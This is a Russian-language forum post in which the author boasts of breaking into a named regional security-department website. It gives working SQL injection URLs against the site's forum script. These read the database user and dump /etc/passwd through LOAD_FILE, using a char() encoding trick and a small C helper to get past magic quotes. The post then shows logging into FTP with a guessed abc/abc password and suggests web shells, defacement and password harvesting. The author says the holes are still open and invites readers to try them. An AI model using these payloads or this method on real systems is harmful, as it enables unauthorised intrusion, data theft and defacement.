Чего то тихо в топике стало.. неужели все админы разом поумнели и пофиксили все свои баги.. ;) продолжаем тему незаконного проникновения на сервера местных ресурсов с целью... а впрочем без всякой цели.. всё получилось как всегда.. дело было вечером, делать было нечего...
Занесла меня нелёгкая на "Официальный сайт Отдела Вневедомственной Охраны г.Братск" (http://ohrana.bratsk.ru). Одного взляда было достаточно чтобы сказать, что он явно необитаем и состряпан на скорую руку на неком движке phpWebThings. Может быть я так бы и ушёл оттуда забыв про его существование.. если бы не одно но. захожу в раздел статистика и вижу как самым наглым образом, можно сказать среди бела дня, на странице появляется ошибка скрипта. мол то что мне подсовывают это на самом деле не мускулевский ответ, бла бла бла.. безобразие одним словом. Возник интерес. Нельзя это дело так оставлять. ..Если не я, то какие-нибудь турки-экстримисты ;).
Искать баги самому было просто влом. Решил погуглить, благо двиг известен. Прошёлся по ссылкам. Там где было много англицких букф читать влом (хотя там как правило гораздо больше полезной информации, но сегодня мне как-то лениво), а где готовые примеры эксплоитинга вроде ниче так.. попробовать можно.. как ни странно, даже при полном совпадении версий уязвимого продукта и сплоитов, не один не сработал. Пробежался на по ссылкам, заглянул на некое подобие интегрированного форума, и автоматом проверил передаваемые get'ом параметры на наличие sql injection. Ну собсна я даже не удивился сильно, когда на запрос "http://ohrana.bratsk.ru/forum.php?forum=1 йак цоп цоп" получил ошибку мускуля.
Ну чтож, проверим что мы имеем. Проводим несложные манипуляции с запросами к базе данных, определяем количество запрашиваемых полей, и точку вывода инфы. После этого запрос типа "http://ohrana.bratsk.ru/forum.php?forum=777+union+select+0,user(),null,nul l,null,null", в небольшой рамочке, которая служит для вывода заголовка, показывает нам "root@localhost". Что не может не радовать, ведь это значит что сайтец работает с базой с правами рута (ессно мускулевского, а не того у которого uid=0, не путать. это разные вещи ). Ну и всё впринципе. Что делать дальше? А дальше можно много чего ещё попробовать сделать. Напрмер можно тупо стянуть хеши паролей админки, и брутить их до посинения (там кстати ещё ipb форум крутится, но видимо он на стадии тестирования, т.к. работает из хоум диры админа. И вообще согласитесь форум посвящённый игрухе ил2, не в тему на сайте Отдела Вневедомственной Охраны держать ). Но тем не менее получив пароли можно было бы уже ковырять админки. Но это долго, и сайт того не стоит чтобы тратить столько времени.. как своего личного, так и процессорного ;).
Да и зачем оно.. если можно попробовать просмотреть локальный файл средствами мускуля. Делаем следующее: "http://ohrana.bratsk.ru/forum.php?forum=777+union+select+0,LOAD_FILE('/etc/passwd'),null,null,null,null".
(стоит отметить, мож кто не в курсе, на самом деле в файле паролей, самих паролей нету, в основном это нужно чтобы просто немного приспособиться)
Ведь мы не на секунду не усомнились что на сервере стоит именно юникс-лайк система? ;). Получаем облом, но мы его ждали.. а запрос сделали просто для проверки . В конфигах пхп стоит MagicQuotes, эта фича фильтрует все неугодные символы из запросов. Но в народе ессно против этого лома есть приём. Вместо символов возпользуемся мускулевской функцией char(), и передадим имя файла в десятичных кодах. Вообщето один раз их набрать не сложно, но если надо посмотреть не один файл, то это гемор.. Поэтому компилятор в руки и ваяем мега тузлу (кросс-платформенную) )):
#include <stdio.h>
#include <string.h>
void main(int argc, char **argv[])
{
char *str = (char *)argv[1];
printf("String: %s\n", str);
for(unsigned int i=0; i < strlen(str); i++) printf("%d,", str[i]);
}

Итак запрашиваем: "http://ohrana.bratsk.ru/forum.php?forum=777+union+select+0,LOAD_FILE(char( 47,101,116,99,47,112,97,115,115,119,100)),null,nul l,null,null". И в той же строчке получаем содержимое начала нужного нам файла. Опять 25. Почему не весь? Потому что размер ячейки через которую проделывается вся эта операция, примерно 80 байт. Вот эти 80 байт и выводятся. Ну это тоже нормально.. как грится прорвёмся.. А поможет команда substring, которая в качестве параметров принимает саму строку, и смещение и длину подстроки, которую надо вывести.
Вводим примерно следующее "http://ohrana.bratsk.ru/forum.php?forum=777+union+select+0,SUBSTRING(LOAD_ FILE(char(47,101,116,99,47,112,97,115,115,119,100) ),1200,80),null,null,null,null", и получаем уже другой участок файла, что и требовалось.. Вот так вот оперируя параметрами этой функции просматриваем файлик.
Ну собсна там искать особо нечего, но как оказалось посмотреть его стоило.. Помимо всего прочего есть такая строчка:
abc:*:1013:1013:User &:/home/abc:/bin/sh
хм.. 1013 хорошее число. чувствую должно повезти
Сканим порты. Есть 21, 22.. а других нам и не надо.. Коннектимся на фтп......
Честно говоря я не знаю как это получается, если присутствие дзен в тебе вилико, то всё получается само собой ;)... Но при условии, что присутствие дзен у админа бесконечно стремится к нулю .. о чём это я... ах да.. Значит логинимся на фтп.. логин - abc, пасс abc... и вот мы уже в корне файловой системы с правами некоего abc ...
Ну я думаю не стоит говорить о том что с этим же логином можно законнектить на ssh, или залить веб шелл и с правами www сделать дефейс, или просто пособирать пароли коих там не мало и поадминить сайт..
Посмотрев что там есть, всё это быстро надоело. Получив моральное удовлетворение от присутствия внутри, решил забить. ибо делать там нечего, а рутить - это трата времени.

На время написания поста все дыры и логины актуальны, так что можно проверить так скзть на практике . Но предупреждаю, если будешь дефейсить, о юнный хацкир из соседнего топика, то помни, что за окном уже висит группа захвата, а за дверью топчется омон и ждёт команды на захват
Спасибо за внимание.
ИСиТ рулит.